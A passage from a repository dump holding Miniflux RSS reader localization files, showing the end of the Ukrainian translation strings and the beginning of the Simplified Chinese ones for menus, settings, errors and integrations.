\"form.prefs.label.entries_per_page\": \"Кількість записів на сторінку\",\n    \"form.prefs.label.entry_order\": \"Стовпець сортування записів\",\n    \"form.prefs.label.entry_sorting\": \"Сортування записів\",\n    \"form.prefs.label.entry_swipe\": \"Увімкніть введення пальцем на сенсорних екранах\",\n    \"form.prefs.label.external_font_hosts\": \"Зовнішні хости шрифтів\",\n    \"form.prefs.label.gesture_nav\": \"Жест для переходу між записами\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Увімкнути комбінації клавиш\",\n    \"form.prefs.label.language\": \"Мова\",\n    \"form.prefs.label.mark_read_manually\": \"Позначати записи як прочитані вручну\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Позначати прочитаним лише після відтворення аудіо/відео на 90%%\",\n    \"form.prefs.label.mark_read_on_view\": \"Автоматично позначати записи як прочитані під час перегляду\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Позначати прочитаним під час перегляду. Для аудіо/відео — на 90%% відтворення\",\n    \"form.prefs.label.media_playback_rate\": \"Швидкість відтворення аудіо/відео\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Відкривати зовнішні посилання у новій вкладці (додає target=\\\"_blank\\\" до посилань)\",\n    \"form.prefs.label.show_reading_time\": \"Показувати приблизний час читання для записів\",\n    \"form.prefs.label.theme\": \"Тема\",\n    \"form.prefs.label.timezone\": \"Часовий пояс\",\n    \"form.prefs.select.alphabetical\": \"За алфавітом\",\n    \"form.prefs.select.browser\": \"Браузер\",\n    \"form.prefs.select.created_time\": \"Дата створення запису\",\n    \"form.prefs.select.fullscreen\": \"Повний екран\",\n    \"form.prefs.select.minimal_ui\": \"Мінімальний\",\n    \"form.prefs.select.none\": \"Жодного\",\n    \"form.prefs.select.older_first\": \"Старіші записи спочатку\",\n    \"form.prefs.select.publish_time\": \"Дата публікації запису\",\n    \"form.prefs.select.recent_first\": \"Останні записи спочатку\",\n    \"form.prefs.select.standalone\": \"Автономний\",\n    \"form.prefs.select.swipe\": \"Проведіть пальцем\",\n    \"form.prefs.select.tap\": \"Двічі натисніть\",\n    \"form.prefs.select.unread_count\": \"Кількість непрочитаних\",\n    \"form.submit.loading\": \"Завантаження...\",\n    \"form.submit.saving\": \"Зберігаю...\",\n    \"form.user.label.admin\": \"Адміністратор\",\n    \"form.user.label.confirmation\": \"Підтверждення паролю\",\n    \"form.user.label.password\": \"Пароль\",\n    \"form.user.label.username\": \"Ім’я користувача\",\n    \"menu.about\": \"Про додаток\",\n    \"menu.add_feed\": \"Додати підписку\",\n    \"menu.add_user\": \"Додати користувачв\",\n    \"menu.api_keys\": \"Ключі API\",\n    \"menu.categories\": \"Категорії\",\n    \"menu.create_api_key\": \"Створити новий ключ API\",\n    \"menu.create_category\": \"Створити категорію\",\n    \"menu.edit_category\": \"Редагувати\",\n    \"menu.edit_feed\": \"Редагувати\",\n    \"menu.export\": \"Експорт\",\n    \"menu.feed_entries\": \"Записи\",\n    \"menu.feeds\": \"Стрічки\",\n    \"menu.flush_history\": \"Очистити історію\",\n    \"menu.history\": \"Історія\",\n    \"menu.home_page\": \"Головна сторінка\",\n    \"menu.import\": \"Імпорт\",\n    \"menu.integrations\": \"Інтеграції\",\n    \"menu.logout\": \"Вийти\",\n    \"menu.mark_all_as_read\": \"Відмітити все як прочитане\",\n    \"menu.mark_page_as_read\": \"Відмітити цю сторінку як прочитане\",\n    \"menu.preferences\": \"Уподобання\",\n    \"menu.refresh_all_feeds\": \"Оновити всі стрічки у фоновому режимі\",\n    \"menu.refresh_feed\": \"Оновити\",\n    \"menu.search\": \"Пошук\",\n    \"menu.sessions\": \"Сеанси\",\n    \"menu.settings\": \"Налаштування\",\n    \"menu.shared_entries\": \"Спільні записи\",\n    \"menu.show_all_entries\": \"Показати всі записи\",\n    \"menu.show_only_starred_entries\": \"Показати тільки записи з зірочкою\",\n    \"menu.show_only_unread_entries\": \"Показати тільки непрочитані записи\",\n    \"menu.starred\": \"З зірочкою\",\n    \"menu.title\": \"Меню\",\n    \"menu.unread\": \"Непрочитане\",\n    \"menu.users\": \"Користувачі\",\n    \"page.about.author\": \"Автор:\",\n    \"page.about.build_date\": \"Дата побудови:\",\n    \"page.about.credits\": \"Титри\",\n    \"page.about.db_usage\": \"Розмір бази даних:\",\n    \"page.about.git_commit\": \"Git-коміт:\",\n    \"page.about.global_config_options\": \"Параметри глобальної конфігурації\",\n    \"page.about.go_version\": \"Версія Go:\",\n    \"page.about.license\": \"Ліцензія:\",\n    \"page.about.postgres_version\": \"Версія Postgres:\",\n    \"page.about.title\": \"Про додадок\",\n    \"page.about.version\": \"Версія:\",\n    \"page.add_feed.choose_feed\": \"Обрати підписку\",\n    \"page.add_feed.label.url\": \"URL-адреса\",\n    \"page.add_feed.legend.advanced_options\": \"Розширені опції\",\n    \"page.add_feed.no_category\": \"Немає категорії. Ви маєте додати принаймні одну категорію.\",\n    \"page.add_feed.submit\": \"Знайти підписку\",\n    \"page.add_feed.title\": \"Нова підписка\",\n    \"page.api_keys.never_used\": \"Ніколи не використався\",\n    \"page.api_keys.table.actions\": \"Дії\",\n    \"page.api_keys.table.created_at\": \"Дата створення\",\n    \"page.api_keys.table.description\": \"Опис\",\n    \"page.api_keys.table.last_used_at\": \"Дата останнього використання\",\n    \"page.api_keys.table.token\": \"Токен\",\n    \"page.api_keys.title\": \"Ключі API\",\n    \"page.categories.entries\": \"Статті\",\n    \"page.categories.feed_count\": [\n        \"Містить %d стрічку.\",\n        \"Містить %d стрічки.\",\n        \"Містить %d стрічок.\"\n    ],\n    \"page.categories.feeds\": \"Підписки\",\n    \"page.categories.no_feed\": \"Немає стрічки.\",\n    \"page.categories.title\": \"Категорії\",\n    \"page.categories_count\": [\n        \"%d категорія\",\n        \"%d категорії\",\n        \"%d категорій\"\n    ],\n    \"page.category_label\": \"Категорія: %s\",\n    \"page.edit_category.title\": \"Редагування категорії: %s\",\n    \"page.edit_feed.etag_header\": \"Заголовок ETag:\",\n    \"page.edit_feed.last_check\": \"Остання перевірка:\",\n    \"page.edit_feed.last_modified_header\": \"Заголовок LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"Остання помилка аналізу\",\n    \"page.edit_feed.no_header\": \"Немає\",\n    \"page.edit_feed.title\": \"Редагування стрічки: %s\",\n    \"page.edit_user.title\": \"Редагування користувача: %s\",\n    \"page.entry.attachments\": \"Додатки\",\n    \"page.feeds.error_count\": [\n        \"%d помилка\",\n        \"%d помилки\",\n        \"%d помилок\"\n    ],\n    \"page.feeds.last_check\": \"Остання перевірка:\",\n    \"page.feeds.next_check\": \"Наступна перевірка:\",\n    \"page.feeds.read_counter\": \"Кількість прочитаних записів\",\n    \"page.feeds.title\": \"Стрічки\",\n    \"page.footer.elevator\": \"Повернутися нагору\",\n    \"page.history.title\": \"Історія\",\n    \"page.import.title\": \"Імпорт\",\n    \"page.integration.bookmarklet\": \"Букмарклет\",\n    \"page.integration.bookmarklet.help\": \"Це спеціальне посилання дозволяє підписатися на веб-сайт безпосередньо за допомогою закладки у вашому веб-браузері.\",\n    \"page.integration.bookmarklet.instructions\": \"Перетягніть це посилання до своїх закладок.\",\n    \"page.integration.bookmarklet.name\": \"Додати до Miniflux\",\n    \"page.integration.miniflux_api\": \"API Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Адреса доступу API\",\n    \"page.integration.miniflux_api_password\": \"Пароль\",\n    \"page.integration.miniflux_api_password_value\": \"Пароль до вашого облікового запису\",\n    \"page.integration.miniflux_api_username\": \"Ім’я користувача\",\n    \"page.integrations.title\": \"Інтеграції\",\n    \"page.keyboard_shortcuts.close_modal\": \"Закрити модальне діалогове вікно\",\n    \"page.keyboard_shortcuts.download_content\": \"Завантажити оригінальний зміст\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Перейти до нижнього пункту\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Перейти до категорій\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Перейти до стрічки\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Перейти до стрічок\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Перейти до історії\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Перейти до наступного запису\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Перейти до наступної сторінки\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Перейти до попереднього запису\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Перейти до попередньої сторінки\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Поставити фокус на поле пошуку\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Перейти до налаштувань\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Перейти до закладок\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Перейти до верхнього пункту\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Перейти до непрочитаних\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Відмітити поточну сторінку як прочитане\",\n    \"page.keyboard_shortcuts.open_comments\": \"Відкрити посилання на коментарі\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Відкрити посилання на коментарі в поточній вкладці\",\n    \"page.keyboard_shortcuts.open_item\": \"Відкрити виділений запис\",\n    \"page.keyboard_shortcuts.open_original\": \"Відкрити оригінальне посилання\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Відкрити оригінальне посилання в поточній вкладці\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Оновити всі стрічки в фоновому режимі\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Видалити цю стрічку\",\n    \"page.keyboard_shortcuts.save_article\": \"Зберегти статтю\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Прокрутити запис догори\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Показати комбінації клавиш\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Дії\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Навігація по записах\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Навігація по сторінках\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Навігація по розділах\",\n    \"page.keyboard_shortcuts.title\": \"Комбінації клавиш\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Переключити статус закладки\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Перемкнути відкриття/закриття вкладень запису\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Переключити статус читання, перейти до наступного\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Переключити статус читання, перейти до попереднього\",\n    \"page.login.google_signin\": \"Увійти через Google\",\n    \"page.login.oidc_signin\": \"Увійти через %s\",\n    \"page.login.title\": \"Вхід\",\n    \"page.login.webauthn_login\": \"Увійти за допомогою пароля\",\n    \"page.login.webauthn_login.error\": \"Неможливо ввійти за допомогою ключа доступу\",\n    \"page.login.webauthn_login.help\": \"Якщо використовуєте ключ безпеки, введіть ім'я користувача. Для паролю-паскі це не потрібно.\",\n    \"page.new_api_key.title\": \"Створити ключ API\",\n    \"page.new_category.title\": \"Нова категорія\",\n    \"page.new_user.title\": \"Новий користувач\",\n    \"page.offline.message\": \"Ви офлайн\",\n    \"page.offline.refresh_page\": \"Спробуйте оновити сторінку\",\n    \"page.offline.title\": \"Автономний режим\",\n    \"page.read_entry_count\": [\n        \"%d прочитаний запис\",\n        \"%d прочитаних записів\",\n        \"%d прочитаних записів\"\n    ],\n    \"page.search.title\": \"Результати пошуку\",\n    \"page.sessions.table.actions\": \"Дії\",\n    \"page.sessions.table.current_session\": \"Поточний сеанс\",\n    \"page.sessions.table.date\": \"Дата\",\n    \"page.sessions.table.ip\": \"IP адреса\",\n    \"page.sessions.table.user_agent\": \"Агент користувача (User Agent)\",\n    \"page.sessions.title\": \"Сеанси\",\n    \"page.settings.link_google_account\": \"Підключити мій обліковий запис Google\",\n    \"page.settings.link_oidc_account\": \"Підключити мій обліковий запис %s\",\n    \"page.settings.title\": \"Налаштування \",\n    \"page.settings.unlink_google_account\": \"Відключити мій обліковий запис Google\",\n    \"page.settings.unlink_oidc_account\": \"Відключити мій обліковий запис %s\",\n    \"page.settings.webauthn.actions\": \"Дії\",\n    \"page.settings.webauthn.added_on\": \"Додано\",\n    \"page.settings.webauthn.delete\": [\n        \"Видалити %d ключ доступу\",\n        \"Видаліть %d ключа доступу\",\n        \"Видаліть %d ключа доступу\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Востаннє використано\",\n    \"page.settings.webauthn.passkey_name\": \"Назва паскі\",\n    \"page.settings.webauthn.passkeys\": \"Паскі\",\n    \"page.settings.webauthn.register\": \"Зареєструвати пароль\",\n    \"page.settings.webauthn.register.error\": \"Не вдалося зареєструвати ключ доступу\",\n    \"page.shared_entries.title\": \"Спільні записи\",\n    \"page.shared_entries_count\": [\n        \"%d спільний запис\",\n        \"%d спільні записи\",\n        \"%d спільних записів\"\n    ],\n    \"page.starred.title\": \"З зірочкою\",\n    \"page.starred_entry_count\": [\n        \"%d запис із зіркою\",\n        \"%d записи із зіркою\",\n        \"%d записів із зіркою\"\n    ],\n    \"page.total_entry_count\": [\n        \"Усього %d запис\",\n        \"Усього %d записи\",\n        \"Усього %d записів\"\n    ],\n    \"page.unread.title\": \"Непрочитане\",\n    \"page.unread_entry_count\": [\n        \"%d непрочитаний запис\",\n        \"%d непрочитані записи\",\n        \"%d непрочитаних записів\"\n    ],\n    \"page.users.actions\": \"Дії\",\n    \"page.users.admin.no\": \"Ні\",\n    \"page.users.admin.yes\": \"Так\",\n    \"page.users.is_admin\": \"Адміністратор\",\n    \"page.users.last_login\": \"Дата останнього входу\",\n    \"page.users.never_logged\": \"Ніколи\",\n    \"page.users.title\": \"Користувачі\",\n    \"page.users.username\": \"Ім’я користувача\",\n    \"page.webauthn_rename.title\": \"Перейменувати паскі\",\n    \"pagination.first\": \"Перша\",\n    \"pagination.last\": \"Остання\",\n    \"pagination.next\": \"Наступна\",\n    \"pagination.previous\": \"Попередня\",\n    \"search.label\": \"Пошук\",\n    \"search.placeholder\": \"Шукати...\",\n    \"search.submit\": \"Знайти\",\n    \"skip_to_content\": \"Перейти до вмісту\",\n    \"time_elapsed.days\": [\n        \"%d день тому\",\n        \"%d дні тому\",\n        \"%d днів тому\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d годину тому\",\n        \"%d години тому\",\n        \"%d годин тому\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d хвилину тому\",\n        \"%d хвилини тому\",\n        \"%d хвилин тому\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d місяць тому\",\n        \"%d місяця тому\",\n        \"%d місяців    тому\"\n    ],\n    \"time_elapsed.not_yet\": \"ще ні\",\n    \"time_elapsed.now\": \"прямо зараз\",\n    \"time_elapsed.weeks\": [\n        \"%d тиждень тому\",\n        \"%d тижня тому\",\n        \"%d тижнів тому\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d рік тому\",\n        \"%d роки тому\",\n        \"%d років тому\"\n    ],\n    \"time_elapsed.yesterday\": \"вчора\",\n    \"tooltip.keyboard_shortcuts\": \"Комбінація клавіш: %s\",\n    \"tooltip.logged_user\": \"Здійснено вхід як %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/zh_CN.json",
    "content": "{\n    \"action.cancel\": \"取消\",\n    \"action.download\": \"下载\",\n    \"action.edit\": \"编辑\",\n    \"action.home_screen\": \"添加到主屏幕\",\n    \"action.import\": \"导入\",\n    \"action.login\": \"登录\",\n    \"action.or\": \"或\",\n    \"action.remove\": \"移除\",\n    \"action.remove_feed\": \"移除此订阅源\",\n    \"action.save\": \"保存\",\n    \"action.subscribe\": \"订阅\",\n    \"action.update\": \"更新\",\n    \"alert.account_linked\": \"您的外部账号已关联！\",\n    \"alert.account_unlinked\": \"您的外部帐户已解除关联！\",\n    \"alert.background_feed_refresh\": \"所有订阅源正在后台刷新。您可以在刷新过程中继续使用 Miniflux。\",\n    \"alert.feed_error\": \"此订阅源存在问题\",\n    \"alert.no_starred\": \"没有收藏的条目。\",\n    \"alert.no_category\": \"没有分类。\",\n    \"alert.no_category_entry\": \"此分类下没有条目。\",\n    \"alert.no_feed\": \"你没有任何订阅源。\",\n    \"alert.no_feed_entry\": \"此订阅源中没有条目。\",\n    \"alert.no_feed_in_category\": \"此分类中没有订阅源。\",\n    \"alert.no_history\": \"当前没有历史记录。\",\n    \"alert.no_search_result\": \"此搜索没有结果。\",\n    \"alert.no_shared_entry\": \"没有已分享条目。\",\n    \"alert.no_tag_entry\": \"没有匹配此标签的条目。\",\n    \"alert.no_unread_entry\": \"没有未读条目。\",\n    \"alert.no_user\": \"您是唯一的用户。\",\n    \"alert.prefs_saved\": \"偏好设置已保存！\",\n    \"alert.too_many_feeds_refresh\": [\n        \"您触发了太多次订阅源刷新。请在 %d 分钟后重试。\"\n    ],\n    \"confirm.loading\": \"进行中…\",\n    \"confirm.no\": \"否\",\n    \"confirm.question\": \"您确定吗？\",\n    \"confirm.question.refresh\": \"您确定要强制刷新吗？\",\n    \"confirm.yes\": \"是\",\n    \"enclosure_media_controls.seek\": \"查找：\",\n    \"enclosure_media_controls.seek.title\": \"查找 %s 秒\",\n    \"enclosure_media_controls.speed\": \"速度：\",\n    \"enclosure_media_controls.speed.faster\": \"快进\",\n    \"enclosure_media_controls.speed.faster.title\": \"速度快进到 %sx\",\n    \"enclosure_media_controls.speed.reset\": \"重置\",\n    \"enclosure_media_controls.speed.reset.title\": \"重置速度到 1x\",\n    \"enclosure_media_controls.speed.slower\": \"减慢\",\n    \"enclosure_media_controls.speed.slower.title\": \"速度减慢到 %sx\",\n    \"entry.starred.toast.off\": \"已取消收藏\",\n    \"entry.starred.toast.on\": \"已添加收藏\",\n    \"entry.starred.toggle.off\": \"取消收藏\",\n    \"entry.starred.toggle.on\": \"添加收藏\",\n    \"entry.comments.label\": \"评论\",\n    \"entry.comments.title\": \"查看评论\",\n    \"entry.estimated_reading_time\": [\n        \"需要 %d 分钟阅读\"\n    ],\n    \"entry.external_link.label\": \"外部链接\",\n    \"entry.save.completed\": \"完成！\",\n    \"entry.save.label\": \"保存\",\n    \"entry.save.title\": \"保存此条目\",\n    \"entry.save.toast.completed\": \"条目已保存\",\n    \"entry.scraper.completed\": \"完成！\",\n    \"entry.scraper.label\": \"下载\",\n    \"entry.scraper.title\": \"获取原始内容\",\n    \"entry.share.label\": \"分享\",\n    \"entry.share.title\": \"分享此条目\",\n    \"entry.shared_entry.label\": \"分享\",\n    \"entry.shared_entry.title\": \"打开公开链接\",\n    \"entry.state.loading\": \"加载中…\",\n    \"entry.state.saving\": \"保存中…\",\n    \"entry.status.mark_as_read\": \"标为已读\",\n    \"entry.status.mark_as_unread\": \"标为未读\",\n    \"entry.status.title\": \"更改条目状态\",\n    \"entry.status.toast.read\": \"已标为已读\",\n    \"entry.status.toast.unread\": \"已标为未读\",\n    \"entry.tags.label\": \"标签：\",\n    \"entry.tags.more_tags_label\": [\n        \"显示 %d 个更多标签\"\n    ],\n    \"entry.unshare.label\": \"取消分享\",\n    \"error.api_key_already_exists\": \"此 API 密钥已存在。\",\n    \"error.bad_credentials\": \"用户名或密码无效。\",\n    \"error.category_already_exists\": \"此分类已存在。\",\n    \"error.category_not_found\": \"此分类不存在或不属于此用户。\",\n    \"error.database_error\": \"数据库错误: %v。\",\n    \"error.different_passwords\": \"密码不一致。\",\n    \"error.duplicate_fever_username\": \"已存在其他用户使用相同的 Fever 用户名！\",\n    \"error.duplicate_googlereader_username\": \"已存在其他用户使用相同的 Google Reader 用户名！\",\n    \"error.duplicate_linked_account\": \"已有人与该提供商关联！\",\n    \"error.duplicated_feed\": \"此订阅源已经存在。\",\n    \"error.empty_file\": \"此文件为空。\",\n    \"error.entries_per_page_invalid\": \"每页的条目数无效。\",\n    \"error.feed_already_exists\": \"此订阅源已存在。\",\n    \"error.feed_category_not_found\": \"此分类不存在或不属于此用户。\",\n    \"error.feed_format_not_detected\": \"无法解析订阅源格式：%v。\",\n    \"error.feed_invalid_blocklist_rule\": \"阻止列表规则无效。\",\n    \"error.feed_invalid_keeplist_rule\": \"保留列表规则无效。\",\n    \"error.feed_mandatory_fields\": \"必须填写 URL 和分类。\",\n    \"error.feed_not_found\": \"此订阅源不存在或不属于此用户。\",\n    \"error.feed_title_not_empty\": \"订阅源的标题不能为空。\",\n    \"error.feed_url_not_empty\": \"订阅源的 URL 不能为空。\",\n    \"error.fields_mandatory\": \"必须填写全部信息。\",\n    \"error.http_bad_gateway\": \"由于网关错误，网站暂不可用。这不是 Miniflux 的问题，请稍后重试。\",\n    \"error.http_body_read\": \"无法读取 HTTP 正文：%v。\",\n    \"error.http_client_error\": \"HTTP 客户端错误：%v。\",\n    \"error.http_empty_response\": \"HTTP 响应为空，该网站可能使用了反爬虫机制。\",\n    \"error.http_empty_response_body\": \"HTTP 响应正文为空。\",\n    \"error.http_forbidden\": \"禁止访问该网站。可能该网站使用了反爬虫机制？\",\n    \"error.http_gateway_timeout\": \"由于网关超时，网站暂不可用。这不是 Miniflux 的问题，请稍后重试。\",\n    \"error.http_internal_server_error\": \"由于服务器错误，网站暂不可用。这不是 Miniflux 的问题，请稍后重试。\",\n    \"error.http_not_authorized\": \"未经授权访问此网站。可能是用户名或密码错误。\",\n    \"error.http_resource_not_found\": \"未找到请求的资源。请检查 URL。\",\n    \"error.http_response_too_large\": \"HTTP 响应过大。您可以在全局设置中增加 HTTP 响应大小限制（需重启服务器）。\",\n    \"error.http_service_unavailable\": \"由于内部服务器错误，网站暂不可用。这不是 Miniflux 的问题，请稍后重试。\",\n    \"error.http_too_many_requests\": \"Miniflux 向此网站生成了过多请求。请稍后重试或更改应用程序配置。\",\n    \"error.http_unexpected_status_code\": \"由于意外的 HTTP 状态码 %d，网站暂不可用。这不是 Miniflux 的问题，请稍后重试。\",\n    \"error.invalid_categories_sorting_order\": \"无效的分类排序顺序。\",\n    \"error.invalid_default_home_page\": \"无效的默认主页！\",\n    \"error.invalid_display_mode\": \"无效的网页应用显示模式。\",\n    \"error.invalid_entry_direction\": \"无效的条目方向。\",\n    \"error.invalid_entry_order\": \"无效的条目排序。\",\n    \"error.invalid_feed_proxy_url\": \"无效的代理 URL。\",\n    \"error.invalid_feed_url\": \"无效的订阅源 URL。\",\n    \"error.invalid_gesture_nav\": \"无效的手势导航。\",\n    \"error.invalid_language\": \"无效的语言。\",\n    \"error.invalid_site_url\": \"无效的网站 URL。\",\n    \"error.invalid_theme\": \"无效的主题。\",\n    \"error.invalid_timezone\": \"无效的时区。\",\n    \"error.network_operation\": \"由于网络错误，Miniflux 无法访问此网站：%v。\",\n    \"error.network_timeout\": \"该网站响应过慢，请求已超时：%v\",\n    \"error.password_min_length\": \"密码长度至少为 6 个字符。\",\n    \"error.proxy_url_not_empty\": \"代理 URL 不能为空。\",\n    \"error.settings_block_rule_fieldname_invalid\": \"无效的阻止规则：规则 #%d 缺少合法的字段名(可选：%s)\",\n    \"error.settings_block_rule_invalid_regex\": \"无效的阻止规则：规则 #%d 的模式字符不是合法的正则表达式\",\n    \"error.settings_block_rule_regex_required\": \"无效的阻止规则：规则 #%d 的模式字符没有提供\",\n    \"error.settings_block_rule_separator_required\": \"无效的阻止规则：规则 #%d 的模式字符必须用‘=’分开\",\n    \"error.settings_invalid_domain_list\": \"无效的域名列表。请提供以空格分隔的域名列表。\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"无效的保留规则：规则 #%d 缺少合法的字段名(可选：%s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"无效的保留规则：规则 #%d 的模式字符不是合法的正则表达式\",\n    \"error.settings_keep_rule_regex_required\": \"无效的保留规则：规则 #%d 的模式字符没有提供\",\n    \"error.settings_keep_rule_separator_required\": \"无效的保留规则：规则 #%d 的模式字符必须用‘=’分开\",\n    \"error.settings_mandatory_fields\": \"必须填写用户名、主题、语言以及时区。\",\n    \"error.settings_media_playback_rate_range\": \"播放速度超出范围\",\n    \"error.settings_reading_speed_is_positive\": \"阅读速度必须是正整数。\",\n    \"error.site_url_not_empty\": \"站点 URL 不能为空。\",\n    \"error.subscription_not_found\": \"无法找到任何订阅源。\",\n    \"error.title_required\": \"必须填写标题。\",\n    \"error.tls_error\": \"TLS 错误: %q。如果您愿意的话可以在订阅源设置里关闭 TLS 验证。\",\n    \"error.unable_to_create_api_key\": \"无法创建此 API 密钥。\",\n    \"error.unable_to_create_category\": \"无法创建此分类。\",\n    \"error.unable_to_create_user\": \"无法创建此用户。\",\n    \"error.unable_to_detect_rssbridge\": \"无法使用 RSS-Bridge 检测订阅源：%v。\",\n    \"error.unable_to_parse_feed\": \"无法解析此订阅源：%v。\",\n    \"error.unable_to_update_category\": \"无法更新此分类。\",\n    \"error.unable_to_update_feed\": \"无法更新此订阅源。\",\n    \"error.unable_to_update_user\": \"无法更新此用户。\",\n    \"error.unlink_account_without_password\": \"您必须设置密码，否则您将无法再次登录。\",\n    \"error.user_already_exists\": \"此用户已存在。\",\n    \"error.user_mandatory_fields\": \"必须填写用户名。\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token 和 Organization Slug 是必需的\",\n    \"form.api_key.label.description\": \"API 密钥标签\",\n    \"form.category.hide_globally\": \"在全局未读列表中隐藏条目\",\n    \"form.category.label.title\": \"标题\",\n    \"form.feed.fieldset.general\": \"常规\",\n    \"form.feed.fieldset.integration\": \"第三方服务\",\n    \"form.feed.fieldset.network_settings\": \"网络设置\",\n    \"form.feed.fieldset.rules\": \"规则\",\n    \"form.feed.label.allow_self_signed_certificates\": \"允许自签名证书或无效证书\",\n    \"form.feed.label.apprise_service_urls\": \"使用逗号分隔的 Apprise 服务 URL 列表\",\n    \"form.feed.label.block_filter_entry_rules\": \"条目屏蔽规则\",\n    \"form.feed.label.blocklist_rules\": \"基于正则表达式的屏蔽过滤器\",\n    \"form.feed.label.category\": \"分类\",\n    \"form.feed.label.cookie\": \"设置 Cookie\",\n    \"form.feed.label.crawler\": \"获取原始内容\",\n    \"form.feed.label.ignore_entry_updates\": \"忽略条目更新\",\n    \"form.feed.label.description\": \"描述\",\n    \"form.feed.label.disable_http2\": \"禁用 HTTP/2 以避免指纹识别\",\n    \"form.feed.label.disabled\": \"不刷新此订阅\",\n    \"form.feed.label.feed_password\": \"订阅源密码\",\n    \"form.feed.label.feed_url\": \"订阅源 URL\",\n    \"form.feed.label.feed_username\": \"订阅源用户名\",\n    \"form.feed.label.fetch_via_proxy\": \"使用在应用程序级别配置的代理\",\n    \"form.feed.label.hide_globally\": \"在全局未读列表中隐藏条目\",\n    \"form.feed.label.ignore_http_cache\": \"忽略 HTTP 缓存\",\n    \"form.feed.label.keep_filter_entry_rules\": \"条目允许规则\",\n    \"form.feed.label.keeplist_rules\": \"基于正则表达式的保留过滤器\",\n    \"form.feed.label.no_media_player\": \"无媒体播放器（音频/视频）\",\n    \"form.feed.label.ntfy_activate\": \"推送条目到 Ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy 默认优先级\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy 高优先级\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy 低优先级\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy 最高优先级\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy 最低优先级\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy 优先级\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy 主题（可选）\",\n    \"form.feed.label.proxy_url\": \"代理 URL\",\n    \"form.feed.label.pushover_activate\": \"推送条目到 Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover 默认优先级\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover 高优先级\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover 低优先级\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover 最高优先级\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover 最低优先级\",\n    \"form.feed.label.pushover_priority\": \"Pushover 消息优先级\",\n    \"form.feed.label.rewrite_rules\": \"内容重写规则\",\n    \"form.feed.label.scraper_rules\": \"抓取规则\",\n    \"form.feed.label.site_url\": \"站点 URL\",\n    \"form.feed.label.title\": \"标题\",\n    \"form.feed.label.urlrewrite_rules\": \"URL 重写规则\",\n    \"form.feed.label.user_agent\": \"覆盖默认的用户代理\",\n    \"form.feed.label.webhook_url\": \"覆盖 Webhook URL\",\n    \"form.import.label.file\": \"OPML 文件\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"将新条目推送到 archive.org\",\n    \"form.integration.apprise_activate\": \"将新条目推送到 Apprise\",\n    \"form.integration.apprise_services_url\": \"使用逗号分隔的 Apprise 服务 URL 列表\",\n    \"form.integration.apprise_url\": \"Apprise API URL\",\n    \"form.integration.betula_activate\": \"保存条目到 Betula\",\n    \"form.integration.betula_token\": \"Betula 令牌\",\n    \"form.integration.betula_url\": \"Betula 服务端 URL\",\n    \"form.integration.cubox_activate\": \"保存条目到 Cubox\",\n    \"form.integration.cubox_api_link\": \"Cubox API 链接\",\n    \"form.integration.discord_activate\": \"推送条目到 Discord\",\n    \"form.integration.discord_webhook_link\": \"Discord Webhook 链接\",\n    \"form.integration.espial_activate\": \"保存条目到 Espial\",\n    \"form.integration.espial_api_key\": \"Espial API 密钥\",\n    \"form.integration.espial_endpoint\": \"Espial API 端点\",\n    \"form.integration.espial_tags\": \"Espial 标签\",\n    \"form.integration.fever_activate\": \"启用 Fever API\",\n    \"form.integration.fever_endpoint\": \"Fever API 端点\",\n    \"form.integration.fever_password\": \"Fever 密码\",\n    \"form.integration.fever_username\": \"Fever 用户名\",\n    